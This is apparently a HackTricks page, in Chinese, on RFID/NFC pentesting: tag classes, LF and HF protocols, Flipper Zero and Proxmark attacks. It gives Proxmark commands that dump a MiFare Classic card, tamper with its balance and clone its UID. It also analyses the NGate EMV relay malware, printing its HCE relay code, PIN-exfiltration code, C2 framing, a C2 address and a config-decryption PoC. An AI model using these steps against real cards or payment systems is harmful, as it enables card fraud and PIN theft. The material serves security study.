Pentesting RFID

Tip

学习和实践 AWS 黑客技术：HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术：HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术：HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

介绍

无线射频识别 (RFID) 是最常见的短距离无线解决方案。它通常用于存储和传输用于识别实体的信息。

RFID 标签可以依赖于自身电源（active），例如内置电池，或者通过读取天线从接收到的无线电波中感应出电流为其供电（passive）。

分类

EPCglobal 将 RFID 标签分为六类。每一类标签都具有前一类列出的所有功能，因此具有向后兼容性。

  • Class 0 标签是运行在 UHF 频段的被动标签。厂商在生产时对其进行预编程。因此，你无法更改存储在其内存中的信息。
  • Class 1 标签也可以在 HF 频段工作。此外，它们可以在生产后只写入一次。许多 Class 1 标签还可以处理其接收到命令的循环冗余校验（CRC）。CRC 是命令末尾用于错误检测的几个额外字节。
  • Class 2 标签可以多次写入。
  • Class 3 标签可以包含嵌入式传感器，用于记录环境参数，如当前温度或标签的运动。这些标签是半被动的，因为虽然它们有内置电源（例如集成电池），但它们不能主动发起与其他标签或读取器的无线通信。
  • Class 4 标签可以主动与同类其他标签通信，使它们成为主动标签。
  • Class 5 标签可以为其他标签供电并与所有前述标签类别通信。Class 5 标签可以充当RFID 读取器。

RFID 标签中存储的信息

RFID 标签的内存通常存储四类数据：用于识别标签所附实体的识别数据（这类数据包括用户定义字段，如银行账户）；提供有关该实体进一步信息的补充数据；用于标签内部配置的控制数据；以及标签的制造商数据，其中包含标签的唯一标识符（UID）以及有关标签生产、类型和供应商的详细信息。前两类数据可以在所有商业标签中找到；后两类则可能根据标签的供应商而异。

ISO 标准指定了 Application Family Identifier（AFI）值，这是一个指示标签所属对象种类的代码。另一个由 ISO 指定的重要寄存器是 Data Storage Format Identifier（DSFID），它定义了用户数据的逻辑组织。

大多数 RFID 安全控制具有限制对每个用户内存块以及包含 AFI 和 DSFID 值的特殊寄存器进行读取或写入操作的机制。这些锁定机制使用存储在控制内存中的数据，并具有由供应商预配置的默认密码，但允许标签所有者配置自定义密码。

低频与高频标签比较

低频 RFID 标签 (125kHz)

低频标签常用于不需要高安全性的系统：楼宇门禁、对讲钥匙、健身房会员卡等。由于其较远的有效距离，它们便于用于付费停车：驾驶员不需要将卡片靠近读取器，因为读取器可以在更远的距离触发。与此同时，低频标签非常原始，数据传输速率低。因此，不可能对诸如余额保持和加密等功能实现复杂的双向数据传输。低频标签仅传输其短 ID，且没有任何认证手段。

这些设备依赖于被动的 RFID 技术，工作频段为 30 kHz 到 300 kHz，尽管更常见的是 125 kHz 到 134 kHz：

  • 长距离 — 低频率对应更远的读取距离。有些 EM-Marin 和 HID 读取器由于其简单性和稳定性，可以从最长约一米的距离读取。这些常用于停车场。
  • 原始协议 — 由于低数据传输速率，这些标签只能传输其短 ID。在大多数情况下，数据没有经过认证，也没有任何保护。只要卡片在读取器范围内，就会开始传输其 ID。
  • 低安全性 — 这些卡片很容易被复制，或者由于协议的原始性甚至可以从别人衣袋中读取。

流行的 125 kHz 协议：

  • EM-Marin — EM4100, EM4102。在独联体国家最流行的协议。由于其简单性和稳定性，可从约一米处读取。
  • HID Prox II — HID Global 引入的低频协议。在西方国家更为流行。该协议更复杂，相关卡片和读取器相对昂贵。
  • Indala — Motorola 引入的非常古老的低频协议，后来被 HID 收购。与前两者相比，你在现实中遇到它的概率较低，因为它正在逐渐被淘汰。

实际上，低频协议还有很多。但它们在物理层上都使用相同的调制方式，可在某种程度上视为上述协议的变体。

攻击

你可以使用 Flipper Zero 对这些标签进行攻击：

FZ - 125kHz RFID

高频 RFID 标签 (13.56 MHz)

高频标签用于在需要加密、大量双向数据传输、认证等情况下实现更复杂的读取器-标签交互。
它通常出现在银行卡、公共交通和其他需要高安全性的通行证中。

高频 13.56 MHz 标签是一组标准和协议。它们通常被称为 NFC，但这并不总是准确的。物理层和逻辑层使用的基础协议集是 ISO 14443。高层协议以及替代标准（如 ISO 19092）都基于它。许多人将该技术称为 Near Field Communication (NFC)，这是一个用于描述在 13.56 MHz 频率上工作的设备的术语。

简单来说，NFC 的架构如下：传输协议由制卡公司选择，并在低级别上基于 ISO 14443 实现。例如，NXP 发明了其自己的高层传输协议 Mifare。但在较低层面上，Mifare 卡基于 ISO 14443-A 标准。

Flipper 可以与低层的 ISO 14443 协议进行交互，也可以处理 Mifare Ultralight 数据传输协议和用于银行卡的 EMV。我们正在努力添加对 Mifare Classic 和 NFC NDEF 的支持。对构成 NFC 的协议和标准进行深入介绍值得另外一篇文章，我们计划稍后发布。

所有基于 ISO 14443-A 标准的高频卡都有一个唯一的芯片 ID。它类似于网卡的 MAC 地址，充当卡的序列号。通常，UID 长度为 4 或 7 字节，但在少数情况下可达 10 字节。UID 并不是秘密，很容易被读取，有时甚至打印在卡片上。

许多门禁系统依赖 UID 来认证并授予访问权限。有时即使 RFID 标签支持加密，也会这样使用。这样的误用在安全性上将它们降到了愚蠢的 125 kHz 卡 的水平。虚拟卡（例如 Apple Pay）使用动态 UID，这样手机用户就不会用他们的支付应用随意开门。

  • 低距离 — 高频卡被专门设计为需要贴近读取器才能工作。这也有助于防止未经授权的交互。我们所能达到的最大读取距离约为 15 cm，这还是使用定制的高功率读取器时测得的结果。
  • 高级协议 — 最高可达 424 kbps 的数据传输速度允许复杂协议和完整的双向数据传输，从而支持加密、数据传输等。
  • 高安全性 — 高频非接触卡在任何方面都不逊色于智能卡。有些卡支持强加密算法如 AES，并实现非对称加密。

攻击

你可以使用 Flipper Zero 对这些标签进行攻击：

FZ - NFC

或者使用 proxmark：

Proxmark 3

MiFare Classic 离线存值篡改（Crypto1 已破）

当系统将货币余额直接存储在 MiFare Classic 卡上时，你通常可以对其进行修改，因为 Classic 使用 NXP 已弃用的 Crypto1 流密码。Crypto1 多年来已被攻破，可以恢复扇区密钥并使用常见硬件（例如 Proxmark3）实现对卡内存的完整读/写。

端到端工作流程（抽象）：

  1. 转储原始卡并恢复密钥
# Attempt all built-in Classic key recovery attacks and dump the card
hf mf autopwn

这通常会恢复 sector keys (A/B)，并在 client dumps folder 中生成完整卡片 dump。

  1. 定位并理解 value/integrity 字段
  • 对原始卡进行合法充值，并在充值前后获取多个 dump。
  • 对这两个 dump 做 diff，以识别表示余额及任何 integrity 字段的变化块/字节。
  • 许多 Classic 部署要么使用原生的 “value block” 编码，要么自建校验和（例如对余额与另一个字段及一个常量进行 XOR）。在更改余额后，相应地重新计算 integrity bytes，并确保所有复制/取反字段一致。
  1. 将修改后的 dump 写入可写的 “Chinese magic” Classic tag
# Load a modified binary dump onto a UID-changeable Classic tag
hf mf cload -f modified.bin
  1. 克隆原始 UID 以便终端识别该卡
# Set the UID on a UID-changeable tag (gen1a/gen2 magic)
hf mf csetuid -u <original_uid>
  1. 在终端使用

信任卡内余额和 UID 的读取器会接受被篡改的卡。现场观察显示，许多部署基于字段宽度限制余额（例如，16-bit fixed-point）。

Notes

  • 如果系统使用原生 Classic value blocks，请记住格式：value (4B) + ~value (4B) + value (4B) + block address + ~address。所有部分必须匹配。
  • 对于带有简单校验和的自定义格式，差分分析是推导完整性函数的最快方法，无需逆向固件。
  • 只有可更改 UID 的标签（“Chinese magic” gen1a/gen2）允许写入 block 0/UID。普通 Classic cards 的 UID 是只读的。

有关 Proxmark3 的实操命令，参见：

Proxmark 3

构建便携式 HID MaxiProx 125 kHz Mobile Cloner

如果你在 red-team engagements 中需要一个用于收集 HID Prox® badge 的长距离、电池供电解决方案，可以将壁挂式 HID MaxiProx 5375 读卡器改装成可放入背包的独立 cloner。完整的机械和电气指南在此：

Maxiprox Mobile Cloner

NFC/EMV Relay via Android Reader↔HCE Emitter

Classic EMV 中继可以用两台 Android 设备实现：受害者侧的 reader 捕获真实卡的实时 APDUs 和 PIN，攻击者侧在终端运行的 HCE emitter 将 APDUs 转发到上游。经分析的 NGate kit 滥用合法的 Android NFC APIs 和一个简单的 framed TCP C2 来协调实时 ATM 取现。

关键构件

  • Reader-mode app (victim)：使用 NFC reader APIs 解析 EMV（PAN/expiry/AIDs），按 AID 显示卡方案，要求输入 PIN 并立即 exfiltrates。
  • Emitter-mode app (ATM side)：实现 Host Card Emulation (HCE)，并设置 android:requireDeviceUnlock="false" 和支付 AID；processCommandApdu() 将 APDUs 转发到 C2 并返回最小响应。
  • Wire protocol：长度前缀帧、周期性 keepalive；可选 TLS。

Android surface (Manifest/HCE)

<uses-permission android:name="android.permission.NFC"/>
<uses-permission android:name="android.permission.INTERNET"/>
<service android:name=".nfc.hce.ApduService"
android:permission="android.permission.BIND_NFC_SERVICE"
android:exported="true">
<intent-filter>
<action android:name="android.nfc.cardemulation.action.HOST_APDU_SERVICE"/>
<category android:name="android.intent.category.DEFAULT"/>
</intent-filter>
<meta-data android:name="android.nfc.cardemulation.host_apdu_service"
android:resource="@xml/hce"/>
</service>

hce.xml 示例 (no unlock + payment AID)

<host-apdu-service android:requireDeviceUnlock="false"
android:description="relay">
<aid-group android:category="other">
<aid-filter android:name="F001020304050607"/>
</aid-group>
<aid-group android:category="payment">
<aid-filter android:name="F001020304050607"/>
</aid-group>
</host-apdu-service>

透明中继端点 (HCE)

@Override public byte[] processCommandApdu(byte[] apdu, Bundle extras) {
Log.d("ApduService", "APDU-IN: " + toHex(apdu));
bus.forward(apdu); // send upstream to C2/reader
return new byte[0]; // empty response, pure relay endpoint
}

通过 AID 推断 EMV 卡组织（示例）

  • A000000004 → Mastercard
  • A000000003 → Visa
  • A000000658 → MIR
  • A000000333 → UnionPay

PIN 窃取模式（受害者 UI）

// Custom keypad publishes when required length (e.g., 4) is reached
if (pin.length() == 4) postDelayed(() -> bus.publish(pin), 100L);
// Network immediately exfiltrates via dedicated opcode
send(OP_PIN_REQ, pin.getBytes(StandardCharsets.UTF_8));

Framed C2 (明文示例)

  • Client→Server: int32 len | int32 opcode | body
  • Server→Client: int32 len | body (opcode 在 payload 内)
  • 拒绝 bodies > ~100 MiB; keepalive ~7s (PING)
// send
out.writeInt(body.length); out.writeInt(op); out.write(body); out.flush();
// recv
int len = in.readInt(); byte[] body = new byte[len]; in.readFully(body);

配置隐藏: cert-derived XOR

  • Native lib 通过对应用签名证书 (DER) 计算 SHA‑256，派生出一个 32-byte 密钥。
  • C2 config 以 ASCII‑hex 形式存放于 assets（例如 assets/____），hex-decoded 后与按每 32 字节重复的 key 做 XOR：
for (size_t i = 0; i < len; i++) pt[i] = ct[i] ^ key[i & 31];

离线 PoC 用于解密配置

# Extract signing cert digest
apksigner verify --print-certs sample.apk
# "Signer #1 certificate SHA-256 digest: <hex>"

import pathlib
key = bytes.fromhex("<sha256_of_signing_cert>")
ct  = bytes.fromhex(pathlib.Path("/path/to/assets/____").read_text().strip())
pt  = bytes(c ^ key[i % 32] for i, c in enumerate(ct))
print(pt.decode("utf-8", errors="replace"))

示例解密字段： host, port, sharedToken, tls, mode, reader, uniqueID, ttd.

中继链（端到端）

  1. 受害者安装 APK，打开 app → native init 从 assets 解密配置。
  2. App 通过 framed TCP 连接到 C2（例如 91.84.97.13:5653）；keepalive 约 7s。
  3. 受害者刷卡 → reader 提取 PAN/expiry/AIDs 并发送 CARD_DISCOVERED。
  4. 受害者输入 PIN → keypad 通过 PIN_REQ 发布并外传；服务器仅用于 UI 返回 VALID/INVALID。
  5. 攻击者在终端的设备运行 HCE emitter，将 APDUs 中继到 ATM 并执行套现。

References

Tip

学习和实践 AWS 黑客技术：HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术：HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术：HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks